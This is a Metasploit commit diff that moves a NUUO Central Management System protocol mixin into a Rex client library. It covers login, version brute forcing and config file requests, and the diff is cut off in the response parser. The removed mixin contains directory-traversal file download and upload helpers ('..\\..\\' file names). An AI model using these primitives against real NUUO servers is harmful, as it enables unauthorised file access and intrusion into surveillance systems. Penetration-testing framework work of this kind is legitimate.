Land #11765, Update NUUO mixin, move code to Rex
commit
39aae367a5
|
@ -125,4 +125,4 @@ require 'msf/core/exploit/kerberos/client'
|
||||||
|
|
||||||
# Other
|
# Other
|
||||||
require 'msf/core/exploit/windows_constants'
|
require 'msf/core/exploit/windows_constants'
|
||||||
require 'msf/core/exploit/remote/nuuo'
|
require 'msf/core/exploit/nuuo'
|
||||||
|
|
|
@ -0,0 +1,155 @@
|
||||||
|
require 'rex/proto/nuuo'
|
||||||
|
|
||||||
|
###
|
||||||
|
#
|
||||||
|
# This module exposes methods that may be useful to exploits that deal with
|
||||||
|
# servers that speak Nuuo NUCM protocol for their devices and management software.
|
||||||
|
#
|
||||||
|
###
|
||||||
|
# NUUO Central Management System (NCS)
|
||||||
|
module Msf
|
||||||
|
module Exploit::Remote::Nuuo
|
||||||
|
#
|
||||||
|
# Creates an instance of an Nuuo exploit module.
|
||||||
|
#
|
||||||
|
def initialize(info = {})
|
||||||
|
super(update_info(info,
|
||||||
|
'Author' =>
|
||||||
|
[
|
||||||
|
'Pedro Ribeiro <pedrib@gmail.com>'
|
||||||
|
],
|
||||||
|
))
|
||||||
|
|
||||||
|
register_options(
|
||||||
|
[
|
||||||
|
Opt::RHOST,
|
||||||
|
Opt::RPORT(5180),
|
||||||
|
OptString.new('NCSSESSION', [false, 'Session number of logged in user']),
|
||||||
|
OptString.new('NCSUSER', [false, 'NUUO Central Management System username', 'admin']),
|
||||||
|
OptString.new('NCSPASS', [false, 'Password for NCSUSER',])
|
||||||
|
], Msf::Exploit::Remote::Nuuo)
|
||||||
|
|
||||||
|
register_advanced_options(
|
||||||
|
[
|
||||||
|
OptString.new('NCSVERSION', [false, 'Version header used during login']),
|
||||||
|
OptBool.new('NCSBRUTEAPI', [false, 'Bruteforce Version header used during login', false]),
|
||||||
|
OptBool.new('NCSTRACE', [false, 'Show NCS requests and responses', false])
|
||||||
|
], Msf::Exploit::Remote::Nuuo)
|
||||||
|
end
|
||||||
|
|
||||||
|
def connect(global=true)
|
||||||
|
c = Rex::Proto::Nuuo::Client.new({
|
||||||
|
host: datastore['RHOST'],
|
||||||
|
username: datastore['NCSUSER'],
|
||||||
|
password: datastore['NCSPASS'],
|
||||||
|
user_session: datastore['NCSSESSION'],
|
||||||
|
context: { 'Msf' => framework, 'MsfExploit' => self }
|
||||||
|
})
|
||||||
|
|
||||||
|
client.close if self.client && global
|
||||||
|
self.client = c if global
|
||||||
|
|
||||||
|
c
|
||||||
|
end
|
||||||
|
|
||||||
|
def generate_req(opts={})
|
||||||
|
case opts['method']
|
||||||
|
when 'PING' then client.request_ping(opts)
|
||||||
|
when 'SENDLICFILE' then client.request_sendlicfile(opts)
|
||||||
|
when 'GETCONFIG' then client.request_getconfig(opts)
|
||||||
|
when 'COMMITCONFIG' then client.request_commitconfig(opts)
|
||||||
|
when 'USERLOGIN' then client.request_userlogin(opts)
|
||||||
|
when 'GETOPENALARM' then client.request_getopenalarm(opts)
|
||||||
|
else nil
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
def ncs_send_request(opts={}, req=nil, temp: true)
|
||||||
|
req = generate_req(opts) unless req
|
||||||
|
return nil unless req
|
||||||
|
|
||||||
|
if datastore['NCSTRACE']
|
||||||
|
print_status("Request:\r\n#{req.to_s}")
|
||||||
|
end
|
||||||
|
|
||||||
|
begin
|
||||||
|
conn = temp ? client.connect(temp: temp) : nil
|
||||||
|
res = client.send_recv(req, conn)
|
||||||
|
if conn && temp
|
||||||
|
conn.shutdown
|
||||||
|
conn.close
|
||||||
|
end
|
||||||
|
|
||||||
|
if datastore['NCSTRACE'] && res
|
||||||
|
print_status("Response:\r\n#{res.to_s}")
|
||||||
|
end
|
||||||
|
|
||||||
|
res
|
||||||
|
rescue ::Errno::EPIPE, ::Timeout::Error => e
|
||||||
|
print_line(e.message) if datastore['NCSTRACE']
|
||||||
|
nil
|
||||||
|
rescue Rex::ConnectionError => e
|
||||||
|
vprint_error(e.to_s)
|
||||||
|
nil
|
||||||
|
rescue ::Exception => e
|
||||||
|
print_line(e.message) if datastore['NCSTRACE']
|
||||||
|
raise e
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
def ncs_login
|
||||||
|
unless datastore['NCSVERSION'] || server_version
|
||||||
|
if datastore['NCSBRUTEAPI']
|
||||||
|
vprint_status('Bruteforcing Version string')
|
||||||
|
self.server_version = ncs_version_bruteforce
|
||||||
|
else
|
||||||
|
print_error('Set NCSBRUTEAPI to bruteforce the Version string or NCSVERSION to set a version string')
|
||||||
|
return nil
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
self.server_version ||= datastore['NCSVERSION']
|
||||||
|
unless server_version
|
||||||
|
print_error('Failed to determine server version')
|
||||||
|
return nil
|
||||||
|
end
|
||||||
|
|
||||||
|
res = ncs_send_request({
|
||||||
|
'method' => 'USERLOGIN',
|
||||||
|
'server_version' => server_version
|
||||||
|
}, temp: false)
|
||||||
|
|
||||||
|
if res.headers['User-Session-No']
|
||||||
|
self.user_session = res.headers['User-Session-No']
|
||||||
|
end
|
||||||
|
|
||||||
|
res
|
||||||
|
end
|
||||||
|
|
||||||
|
def ncs_version_bruteforce
|
||||||
|
res = ''
|
||||||
|
Rex::Proto::Nuuo::Constants::VERSIONS.shuffle.each do |version|
|
||||||
|
begin
|
||||||
|
res = ncs_send_request({
|
||||||
|
'method' => 'USERLOGIN',
|
||||||
|
'server_version' => version
|
||||||
|
})
|
||||||
|
rescue
|
||||||
|
print_error('Request failed')
|
||||||
|
end
|
||||||
|
|
||||||
|
client.close
|
||||||
|
if res && res.headers['User-Session-No']
|
||||||
|
vprint_good("Valid version detected: #{version}")
|
||||||
|
return version
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
return nil
|
||||||
|
end
|
||||||
|
|
||||||
|
attr_accessor :client
|
||||||
|
attr_accessor :server_version
|
||||||
|
attr_accessor :user_session
|
||||||
|
end
|
||||||
|
end
|
|
@ -1,196 +0,0 @@
|
||||||
require 'msf/core/exploit/tcp'
|
|
||||||
|
|
||||||
###
|
|
||||||
#
|
|
||||||
# This module exposes methods that may be useful to exploits that deal with
|
|
||||||
# servers that speak Nuuo NUCM protocol for their devices and management software.
|
|
||||||
#
|
|
||||||
###
|
|
||||||
module Msf
|
|
||||||
module Exploit::Remote::Nuuo
|
|
||||||
include Exploit::Remote::Tcp
|
|
||||||
|
|
||||||
#
|
|
||||||
# Creates an instance of an Nuuo exploit module.
|
|
||||||
#
|
|
||||||
def initialize(info = {})
|
|
||||||
super(update_info(info,
|
|
||||||
'Author' =>
|
|
||||||
[
|
|
||||||
'Pedro Ribeiro <pedrib@gmail.com>'
|
|
||||||
],
|
|
||||||
))
|
|
||||||
|
|
||||||
register_options(
|
|
||||||
[
|
|
||||||
Opt::RHOST,
|
|
||||||
Opt::RPORT(5180),
|
|
||||||
OptString.new('SESSION', [false, 'Session number of logged in user']),
|
|
||||||
OptString.new('USERNAME', [false, 'Username to login as', 'admin']),
|
|
||||||
OptString.new('PASSWORD', [false, 'Password for the specified user', '']),
|
|
||||||
], Msf::Exploit::Remote::Nuuo)
|
|
||||||
|
|
||||||
register_advanced_options(
|
|
||||||
[
|
|
||||||
OptString.new('PROTOCOL', [ true, 'Nuuo protocol', 'NUCM/1.0']),
|
|
||||||
])
|
|
||||||
|
|
||||||
@nucs_session = nil
|
|
||||||
|
|
||||||
# All NUCS versions at time of release
|
|
||||||
# Note that these primitives are not guaranteed to work in all versions
|
|
||||||
# Add new version strings here
|
|
||||||
# We need these to login;
|
|
||||||
# when requesting a USERLOGIN we need to send the same version as the server...
|
|
||||||
@nucs_versions =
|
|
||||||
[
|
|
||||||
"1.3.1",
|
|
||||||
"1.3.3",
|
|
||||||
"1.5.0",
|
|
||||||
"1.5.2",
|
|
||||||
"1.6.0",
|
|
||||||
"1.7.0",
|
|
||||||
"2.1.0",
|
|
||||||
"2.3.0",
|
|
||||||
"2.3.1",
|
|
||||||
"2.3.2",
|
|
||||||
"2.4.0",
|
|
||||||
"2.5.0",
|
|
||||||
"2.6.0",
|
|
||||||
"2.7.0",
|
|
||||||
"2.8.0",
|
|
||||||
"2.9.0",
|
|
||||||
"2.10.0",
|
|
||||||
"2.11.0",
|
|
||||||
"3.0.0",
|
|
||||||
"3.1.0",
|
|
||||||
"3.2.0",
|
|
||||||
"3.3.0",
|
|
||||||
"3.4.0",
|
|
||||||
"3.5.0"
|
|
||||||
]
|
|
||||||
|
|
||||||
@nucs_version = nil
|
|
||||||
end
|
|
||||||
|
|
||||||
|
|
||||||
##
|
|
||||||
# Sends a protocol message aynchronously - fire and forget
|
|
||||||
##
|
|
||||||
def nucs_send_msg_async(msg)
|
|
||||||
begin
|
|
||||||
ctx = { 'Msf' => framework, 'MsfExploit' => self }
|
|
||||||
sock = Rex::Socket.create_tcp({ 'PeerHost' => rhost, 'PeerPort' => rport, 'Context' => ctx })
|
|
||||||
sock.write(format_msg(msg))
|
|
||||||
# socket cannot be closed, it causes exploits to fail...
|
|
||||||
#sock.close
|
|
||||||
rescue
|
|
||||||
return
|
|
||||||
end
|
|
||||||
end
|
|
||||||
|
|
||||||
|
|
||||||
# Sends a protocol data message synchronously - sends and returns the result
|
|
||||||
# A data message is composed of two parts: first the message length and protocol headers,
|
|
||||||
# then the actual data, while a non-data message only contains the first part.
|
|
||||||
##
|
|
||||||
def nucs_send_msg(msg, data = nil)
|
|
||||||
ctx = { 'Msf' => framework, 'MsfExploit' => self }
|
|
||||||
sock = Rex::Socket.create_tcp({ 'PeerHost' => rhost, 'PeerPort' => rport, 'Context' => ctx })
|
|
||||||
sock.write(format_msg(msg))
|
|
||||||
if data != nil
|
|
||||||
sock.write(data.to_s)
|
|
||||||
end
|
|
||||||
res = sock.recv(4096)
|
|
||||||
more_data = ''
|
|
||||||
if res =~ /Content-Length:([0-9]+)/
|
|
||||||
data_sz = $1.to_i
|
|
||||||
recv = 0
|
|
||||||
while recv < data_sz
|
|
||||||
new_data = sock.recv(4096)
|
|
||||||
break if !new_data || new_data.length == 0
|
|
||||||
more_data << new_data
|
|
||||||
recv += new_data.length
|
|
||||||
end
|
|
||||||
end
|
|
||||||
# socket cannot be closed, it causes exploits to fail...
|
|
||||||
#sock.close
|
|
||||||
return [res, more_data]
|
|
||||||
rescue
|
|
||||||
return ['', '']
|
|
||||||
end
|
|
||||||
|
|
||||||
|
|
||||||
##
|
|
||||||
# Downloads a file from the CMS install root.
|
|
||||||
# Add the ZIP extraction and decryption routine once support for it is added to msf.
|
|
||||||
##
|
|
||||||
def nucs_download_file(filename, decrypt = false)
|
|
||||||
data = nucs_send_msg(["GETCONFIG", "FileName: ..\\..\\#{filename}", "FileType: 1"])
|
|
||||||
data[1]
|
|
||||||
end
|
|
||||||
|
|
||||||
|
|
||||||
##
|
|
||||||
# Uploads a file to the CMS install root.
|
|
||||||
##
|
|
||||||
def nucs_upload_file(filename, file_data)
|
|
||||||
data = nucs_send_msg(["COMMITCONFIG", "FileName: " + "..\\..\\#{filename}", "FileType: 1", "Content-Length: " + file_data.length.to_s], file_data)
|
|
||||||
if data[0] =~ /200/
|
|
||||||
true
|
|
||||||
else
|
|
||||||
false
|
|
||||||
end
|
|
||||||
end
|
|
||||||
|
|
||||||
# logs in to the NUCS server
|
|
||||||
# first, it tries to use the datastore SESSION if such exists
|
|
||||||
# if not, it then tries to login using the datastore USERNAME and PASSWORD
|
|
||||||
# In order to login properly, we need to guess the server version...
|
|
||||||
# ... so just try all of them until we hit the right one
|
|
||||||
def nucs_login
|
|
||||||
if datastore['SESSION'] != nil
|
|
||||||
# since we're logged in, we don't need to guess the version any more
|
|
||||||
@nucs_session = datastore['SESSION']
|
|
||||||
return
|
|
||||||
end
|
|
||||||
|
|
||||||
@nucs_versions.shuffle.each do |version|
|
|
||||||
@nucs_version = version
|
|
||||||
|
|
||||||
res = nucs_send_msg(
|
|
||||||
[
|
|
||||||
"USERLOGIN",
|
|
||||||
"Version: #{@nucs_version}",
|
|
||||||
"Username: #{datastore['USERNAME']}",
|
|
||||||
"Password-Length: #{datastore['PASSWORD'].length}",
|
|
||||||
"TimeZone-Length: 0"
|
|
||||||
],
|
|
||||||
datastore['PASSWORD']
|
|
||||||
)
|
|
||||||
|
|
||||||
if res[0] =~ /User-Session-No: ([a-zA-Z0-9]+)/
|
|
||||||
@nucs_session = $1
|
|
||||||
break
|
|
||||||
end
|
|
||||||
end
|
|
||||||
end
|
|
||||||
|
|
||||||
private
|
|
||||||
##
|
|
||||||
# Formats the message we want to send into the correct protocol format
|
|
||||||
##
|
|
||||||
def format_msg(msg)
|
|
||||||
final_msg = msg[0] + " #{datastore['PROTOCOL']}\r\n"
|
|
||||||
for line in msg[1...msg.length]
|
|
||||||
final_msg += "#{line}\r\n"
|
|
||||||
end
|
|
||||||
if not final_msg =~ /USERLOGIN/
|
|
||||||
final_msg += "User-Session-No: #{@nucs_session}\r\n"
|
|
||||||
end
|
|
||||||
return final_msg + "\r\n"
|
|
||||||
end
|
|
||||||
|
|
||||||
end
|
|
||||||
|
|
||||||
end
|
|
|
@ -0,0 +1,6 @@
|
||||||
|
# -*- coding: binary -*-
|
||||||
|
|
||||||
|
# NUUO implementation
|
||||||
|
require 'rex/proto/nuuo/client'
|
||||||
|
require 'rex/proto/nuuo/client_request'
|
||||||
|
require 'rex/proto/nuuo/constants'
|
|
@ -0,0 +1,265 @@
|
||||||
|
# -*- coding: binary -*-
|
||||||
|
|
||||||
|
require 'rex/proto/nuuo/client_request'
|
||||||
|
require 'rex/proto/nuuo/response'
|
||||||
|
require 'rex/socket'
|
||||||
|
|
||||||
|
module Rex
|
||||||
|
module Proto
|
||||||
|
module Nuuo
|
||||||
|
# This class is a representation of a nuuo client
|
||||||
|
class Client
|
||||||
|
# @!attribute host
|
||||||
|
# @return [String] The nuuo server host
|
||||||
|
attr_accessor :host
|
||||||
|
# @!attribute port
|
||||||
|
# @return [Integer] The nuuo server port
|
||||||
|
attr_accessor :port
|
||||||
|
# @!attribute timeout
|
||||||
|
# @return [Integer] The connect/read timeout
|
||||||
|
attr_accessor :timeout
|
||||||
|
# @!attribute connection
|
||||||
|
# @return [IO] The connection established through Rex sockets
|
||||||
|
attr_accessor :connection
|
||||||
|
# @!attribute context
|
||||||
|
# @return [Hash] The Msf context where the connection belongs to
|
||||||
|
attr_accessor :context
|
||||||
|
# @!attribute ncs_version
|
||||||
|
# @return [String] NCS version used in session
|
||||||
|
attr_accessor :ncs_version
|
||||||
|
# @!attribute username
|
||||||
|
# @return [String] Username for NCS
|
||||||
|
attr_accessor :username
|
||||||
|
# @!attribute password
|
||||||
|
# @return [String] Password for NCS user
|
||||||
|
attr_accessor :password
|
||||||
|
# @!attribute user_session
|
||||||
|
# @return [String] ID for the user session
|
||||||
|
attr_accessor :user_session
|
||||||
|
# @!attribute config
|
||||||
|
# @return [Hash] ClientRequest configuration options
|
||||||
|
attr_accessor :config
|
||||||
|
|
||||||
|
def initialize(opts = {})
|
||||||
|
self.host = opts[:host]
|
||||||
|
self.port = opts[:port] || 5180
|
||||||
|
self.timeout = opts[:timeout] || 10
|
||||||
|
self.context = opts[:context] || {}
|
||||||
|
self.username = opts[:username]
|
||||||
|
self.password = opts[:password]
|
||||||
|
self.user_session = opts[:user_session]
|
||||||
|
|
||||||
|
self.config = Nuuo::ClientRequest::DefaultConfig
|
||||||
|
end
|
||||||
|
|
||||||
|
# Creates a connection through a Rex socket
|
||||||
|
#
|
||||||
|
# @return [Rex::Socket::Tcp]
|
||||||
|
def connect(temp: false)
|
||||||
|
return connection if connection && !temp
|
||||||
|
return create_tcp_connection(temp: temp)
|
||||||
|
end
|
||||||
|
|
||||||
|
# Closes the connection
|
||||||
|
def close
|
||||||
|
if connection
|
||||||
|
connection.shutdown
|
||||||
|
connection.close unless connection.closed?
|
||||||
|
end
|
||||||
|
|
||||||
|
self.connection = nil
|
||||||
|
end
|
||||||
|
|
||||||
|
def send_recv(req, conn=nil, t=-1)
|
||||||
|
send_request(req, conn)
|
||||||
|
read_response(conn, t)
|
||||||
|
end
|
||||||
|
|
||||||
|
def send_request(req, conn=nil)
|
||||||
|
conn ? conn.put(req.to_s) : connect.put(req.to_s)
|
||||||
|
end
|
||||||
|
|
||||||
|
def read_response(conn=nil, t=-1)
|
||||||
|
res = Response.new
|
||||||
|
conn = connection unless conn
|
||||||
|
|
||||||
|
return res if not t
|
||||||
|
Timeout.timeout((t < 0) ? nil : t) do
|
||||||
|
parse_status = nil
|
||||||
|
while (!conn.closed? &&
|
||||||
|
parse_status != Response::ParseCode::Completed &&
|
||||||
|
parse_status != Response::ParseCode::Error
|
||||||
|
)
|
||||||
|
begin
|
||||||
|
buff = conn.get_once
|
||||||
|
parse_status = res.parse(buff || '')
|
||||||
|
rescue ::Errno::EPIPE, ::EOFError, ::IOError
|
||||||
|
case res.state
|
||||||
|
when Response::ParseState::ProcessingHeader
|
||||||
|
res = nil
|
||||||
|
when Response::ParseState::ProcessingBody
|
||||||
|
res.error = :truncated
|
||||||
|
end
|
||||||
|
break
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
res
|
||||||
|
end
|
||||||
|
|
||||||
|
def user_session_header(opts)
|
||||||
|
val = nil
|
||||||
|
if opts['user_session']
|
||||||
|
val = opts['user_session']
|
||||||
|
elsif self.user_session
|
||||||
|
val = self.user_session
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
def request_ping(opts={})
|
||||||
|
opts = self.config.merge(opts)
|
||||||
|
opts['headers'] ||= {}
|
||||||
|
opts['method'] = 'PING'
|
||||||
|
session = user_session_header(opts)
|
||||||
|
opts['headers']['User-Session-No'] = session if session
|
||||||
|
|
||||||
|
ClientRequest.new(opts)
|
||||||
|
end
|
||||||
|
|
||||||
|
def request_sendlicfile(opts={})
|
||||||
|
opts = self.config.merge(opts)
|
||||||
|
opts['headers'] ||= {}
|
||||||
|
opts['method'] = 'SENDLICFILE'
|
||||||
|
|
||||||
|
session = user_session_header(opts)
|
||||||
|
opts['headers']['User-Session-No'] = session if session
|
||||||
|
opts['data'] = '' unless opts['data']
|
||||||
|
|
||||||
|
opts['headers']['FileName'] = opts['file_name']
|
||||||
|
opts['headers']['Content-Length'] = opts['data'].length
|
||||||
|
|
||||||
|
ClientRequest.new(opts)
|
||||||
|
end
|
||||||
|
|
||||||
|
# GETCONFIG
|
||||||
|
# FileName:
|
||||||
|
# FileType: 1
|
||||||
|
# User-Session-No: <session-no>
|
||||||
|
# @return [ClientRequest]
|
||||||
|
def request_getconfig(opts={})
|
||||||
|
opts = self.config.merge(opts)
|
||||||
|
opts['headers'] ||= {}
|
||||||
|
opts['method'] = 'GETCONFIG'
|
||||||
|
|
||||||
|
opts['headers']['FileName'] = opts['file_name']
|
||||||
|
opts['headers']['FileType'] = opts['file_type'] || 1
|
||||||
|
session = user_session_header(opts)
|
||||||
|
opts['headers']['User-Session-No'] = session if session
|
||||||
|
|
||||||
|
ClientRequest.new(opts)
|
||||||
|
end
|
||||||
|
|
||||||
|
# COMMITCONFIG
|
||||||
|
# FileName:
|
||||||
|
# FileType: 1
|
||||||
|
# Content-Length
|
||||||
|
# User-Session-No: <session-no>
|
||||||
|
#
|
||||||
|
# <data> filedata
|
||||||
|
# @return [ClientRequest]
|
||||||
|
def request_commitconfig(opts={})
|
||||||
|
opts = self.config.merge(opts)
|
||||||
|
opts['headers'] ||= {}
|
||||||
|
opts['method'] = 'COMMITCONFIG'
|
||||||
|
|
||||||
|
opts['headers']['FileName'] = opts['file_name']
|
||||||
|
opts['headers']['FileType'] = opts['file_type'] || 1
|
||||||
|
|
||||||
|
session = user_session_header(opts)
|
||||||
|
opts['headers']['User-Session-No'] = session if session
|
||||||
|
|
||||||
|
opts['data'] = '' unless opts['data']
|
||||||
|
opts['headers']['Content-Length'] = opts['data'].length
|
||||||
|
|
||||||
|
ClientRequest.new(opts)
|
||||||
|
end
|
||||||
|
|
||||||
|
# USERLOGIN
|
||||||
|
# Version:
|
||||||
|
# Username:
|
||||||
|
# Password-Length:
|
||||||
|
# TimeZone-Length: 0
|
||||||
|
#
|
||||||
|
# <data> password
|
||||||
|
# @return [ClientRequest]
|
||||||
|
def request_userlogin(opts={})
|
||||||
|
opts = self.config.merge(opts)
|
||||||
|
opts['headers'] ||= {}
|
||||||
|
opts['method'] = 'USERLOGIN'
|
||||||
|
|
||||||
|
# Account for version...
|
||||||
|
opts['headers']['Version'] = opts['server_version']
|
||||||
|
|
||||||
|
username = nil
|
||||||
|
if opts['username'] && opts['username'] != ''
|
||||||
|
username = opts['username']
|
||||||
|
elsif self.username && self.username != ''
|
||||||
|
username = self.username
|
||||||
|
end
|
||||||
|
|
||||||
|
opts['headers']['Username'] = username
|
||||||
|
|
||||||
|
password = ''
|
||||||
|
if opts['password'] && opts['password'] != ''
|
||||||
|
password = opts['password']
|
||||||
|
elsif self.password && self.password != ''
|
||||||
|
password = self.password
|
||||||
|
end
|
||||||
|
opts['data'] = password
|
||||||
|
opts['headers']['Password-Length'] = password.length
|
||||||
|
|
||||||
|
# Need to verify if this is needed
|
||||||
|
opts['headers']['TimeZone-Length'] = '0'
|
||||||
|
|
||||||
|
ClientRequest.new(opts)
|
||||||
|
end
|
||||||
|
|
||||||
|
# GETOPENALARM NUCM/1.0
|
||||||
|
# DeviceID: <number>
|
||||||
|
# SourceServer: <server-id>
|
||||||
|
# LastOne: <number>
|
||||||
|
# @return [ClientRequest]
|
||||||
|
def request_getopenalarm(opts={})
|
||||||
|
opts = self.config.merge(opts)
|
||||||
|
opts['headers'] ||= {}
|
||||||
|
opts['method'] = 'GETOPENALARM'
|
||||||
|
|
||||||
|
opts['headers']['DeviceID'] = opts['device_id'] || 1
|
||||||
|
opts['headers']['SourceServer'] = opts['source_server'] || 1
|
||||||
|
opts['headers']['LastOne'] = opts['last_one'] || 1
|
||||||
|
|
||||||
|
ClientRequest.new(opts)
|
||||||
|
end
|
||||||
|
|
||||||
|
|
||||||
|
private
|
||||||
|
|
||||||
|
# Creates a TCP connection using Rex::Socket::Tcp
|
||||||
|
#
|
||||||
|
# @return [Rex::Socket::Tcp]
|
||||||
|
def create_tcp_connection(temp: false)
|
||||||
|
tcp_connection = Rex::Socket::Tcp.create(
|
||||||
|
'PeerHost' => host,
|
||||||
|
'PeerPort' => port.to_i,
|
||||||
|
'Context' => context,
|
||||||
|
'Timeout' => timeout
|
||||||
|
)
|
||||||
|
self.connection = tcp_connection unless temp
|
||||||
|
tcp_connection
|
||||||
|
end
|
||||||
|
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
|
@ -0,0 +1,89 @@
|
||||||
|
# -*- coding: binary -*-
|
||||||
|
|
||||||
|
module Rex
|
||||||
|
module Proto
|
||||||
|
module Nuuo
|
||||||
|
|
||||||
|
class ClientRequest
|
||||||
|
|
||||||
|
DefaultConfig = {
|
||||||
|
#
|
||||||
|
# Nuuo stuff
|
||||||
|
#
|
||||||
|
'method' => 'USERLOGIN',
|
||||||
|
'server_version' => nil,
|
||||||
|
'data' => nil,
|
||||||
|
'headers' => nil,
|
||||||
|
'proto' => 'NUCM',
|
||||||
|
'version' => '1.0',
|
||||||
|
'file_name' => nil,
|
||||||
|
'file_type' => nil,
|
||||||
|
'user_session' => nil,
|
||||||
|
}
|
||||||
|
|
||||||
|
attr_reader :opts
|
||||||
|
|
||||||
|
def initialize(opts={})
|
||||||
|
@opts = DefaultConfig.merge(opts)
|
||||||
|
@opts['headers'] ||= {}
|
||||||
|
end
|
||||||
|
|
||||||
|
def to_s
|
||||||
|
# Set default header: <method> <proto/version>
|
||||||
|
req = ''
|
||||||
|
req << set_method
|
||||||
|
req << ' '
|
||||||
|
req << set_proto_version
|
||||||
|
|
||||||
|
# Set headers
|
||||||
|
req << set_header('server_version', 'Version')
|
||||||
|
req << set_header('user_session', 'User-Session-No')
|
||||||
|
|
||||||
|
# Add any additional headers
|
||||||
|
req << set_extra_headers
|
||||||
|
|
||||||
|
# Set data
|
||||||
|
req << set_body
|
||||||
|
end
|
||||||
|
|
||||||
|
def set_method
|
||||||
|
"#{opts['method']}"
|
||||||
|
end
|
||||||
|
|
||||||
|
def set_proto_version
|
||||||
|
"#{opts['proto']}/#{opts['version']}\r\n"
|
||||||
|
end
|
||||||
|
|
||||||
|
#
|
||||||
|
# Return <name> header
|
||||||
|
#
|
||||||
|
def set_header(key, name)
|
||||||
|
unless opts['headers'] && opts['headers'].keys.map(&:downcase).include?(name.downcase)
|
||||||
|
return opts[key] ? set_formatted_header(name, opts[key]) : ''
|
||||||
|
end
|
||||||
|
''
|
||||||
|
end
|
||||||
|
|
||||||
|
# Return additional headers
|
||||||
|
#
|
||||||
|
def set_extra_headers
|
||||||
|
buf = ''
|
||||||
|
opts['headers'].each_pair do |var,val|
|
||||||
|
buf << set_formatted_header(var,val)
|
||||||
|
end
|
||||||
|
|
||||||
|
buf
|
||||||
|
end
|
||||||
|
|
||||||
|
def set_body
|
||||||
|
return "\r\n#{opts['data']}"
|
||||||
|
end
|
||||||
|
|
||||||
|
def set_formatted_header(var, val)
|
||||||
|
"#{var}: #{val}\r\n"
|
||||||
|
end
|
||||||
|
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
|
@ -0,0 +1,45 @@
|
||||||
|
# -*- coding: binary -*-
|
||||||
|
module Rex
|
||||||
|
module Proto
|
||||||
|
module Nuuo
|
||||||
|
class Constants
|
||||||
|
VERSIONS =
|
||||||
|
[
|
||||||
|
'1.3.1',
|
||||||
|
'1.3.3',
|
||||||
|
'1.5.0',
|
||||||
|
'1.5.2',
|
||||||
|
'1.6.0',
|
||||||
|
'1.7.0',
|
||||||
|
'2.1.0',
|
||||||
|
'2.3.0',
|
||||||
|
'2.3.1',
|
||||||
|
'2.3.2',
|
||||||
|
'2.4.0',
|
||||||
|
'2.5.0',
|
||||||
|
'2.6.0',
|
||||||
|
'2.7.0',
|
||||||
|
'2.8.0',
|
||||||
|
'2.9.0',
|
||||||
|
'2.10.0',
|
||||||
|
'2.11.0',
|
||||||
|
'3.0.0',
|
||||||
|
'3.1.0',
|
||||||
|
'3.2.0',
|
||||||
|
'3.3.0',
|
||||||
|
'3.4.0',
|
||||||
|
'3.5.0'
|
||||||
|
]
|
||||||
|
=begin
|
||||||
|
FILE_BASE = 0
|
||||||
|
FILE_IMAGES_MAP = 1
|
||||||
|
FILE_TYPE =
|
||||||
|
[
|
||||||
|
FILE_BASE,
|
||||||
|
FILE_IMAGES_MAP
|
||||||
|
]
|
||||||
|
=end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
|
@ -0,0 +1,121 @@
|
||||||
|
# -*- coding:binary -*-
|
||||||
|
|
||||||
|
module Rex
|
||||||
|
module Proto
|
||||||
|
module Nuuo
|
||||||
|
class Response
|
||||||
|
|
||||||
|
module ParseCode
|
||||||
|
Completed = 1
|
||||||
|
Partial = 2
|
||||||
|
Error = 3
|
||||||
|
end
|
||||||
|
|
||||||
|
module ParseState
|
||||||
|
ProcessingHeader = 1
|
||||||
|
ProcessingBody = 2
|
||||||
|
Completed = 3
|
||||||
|
end
|
||||||
|
|
||||||
|
attr_accessor :headers
|
||||||
|
attr_accessor :body
|
||||||
|
attr_accessor :protocol
|
||||||
|
attr_accessor :status_code
|
||||||
|
attr_accessor :message
|
||||||
|
attr_accessor :bufq
|
||||||
|
attr_accessor :state
|
||||||
|
|
||||||
|
def initialize(buf=nil)
|
||||||
|
self.state = ParseState::ProcessingHeader
|
||||||
|
self.headers = {}
|
||||||
|
self.body = ''
|
||||||
|
self.protocol = nil
|
||||||
|
self.status_code = nil
|
||||||
|
self.message = nil
|
||||||
|
self.bufq = ''
|
||||||
|
parse(buf) if buf
|
||||||
|
end
|
||||||
|
|
||||||
|
def to_s
|
||||||
|
s = ''
|
||||||
|
return unless self.protocol
|
||||||
|
s << self.protocol
|
||||||
|
s << " #{self.status_code}" if self.status_code
|
||||||
|
s << " #{self.message}" if self.message
|
||||||
|
s << "\r\n"
|
||||||
|
|
||||||
|
self.headers.each do |k,v|
|
||||||
|
s << "#{k}: #{v}\r\n"
|
||||||
|
end
|
||||||
|
|
||||||
|
s << "\r\n#{self.body}"
|
||||||
|
end
|
||||||
|
|
||||||
|
# returns state of parsing
|
||||||
|
def parse(buf)
|
||||||
|
self.bufq << buf
|
||||||
|
|
||||||
|
if self.state == ParseState::ProcessingHeader
|
||||||
|
parse_header
|
||||||
|
end
|
||||||
|
|
||||||
|
if self.state == ParseState::ProcessingBody
|
||||||
|
if self.body_bytes_left == 0
|
||||||
|
self.state = ParseState::Completed
|
||||||
|
else
|
||||||
|
parse_body
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
(self.state == ParseState::Completed) ? ParseCode::Completed : ParseCode::Partial
|
||||||
|
end
|
||||||
|
|
||||||
|
protected
|
||||||
|
attr_accessor :body_bytes_left
|
||||||
|
|
||||||
|
def parse_header
|
||||||
|
head,body = self.bufq.split("\r\n\r\n", 2)
|
||||||
|
return nil unless body
|
||||||
|
|
||||||
|
get_headers(head)
|
||||||
|
self.bufq = body || ''
|
||||||
|
self.body_bytes_left = 0
|
||||||
|
|
||||||
|
if self.headers['Content-Length']
|
||||||
|
self.body_bytes_left = self.headers['Content-Length'].to_i
|
||||||
|
end
|
||||||
|
|
||||||
|
self.state = ParseState::ProcessingBody
|
||||||
|
end
|
||||||
|
|
||||||
|
def parse_body
|
||||||
|
return if self.bufq.length == 0
|
||||||
|
if self.body_bytes_left >= 0
|
||||||
|
part = self.bufq.slice!(0, self.body_bytes_left)
|
||||||
|
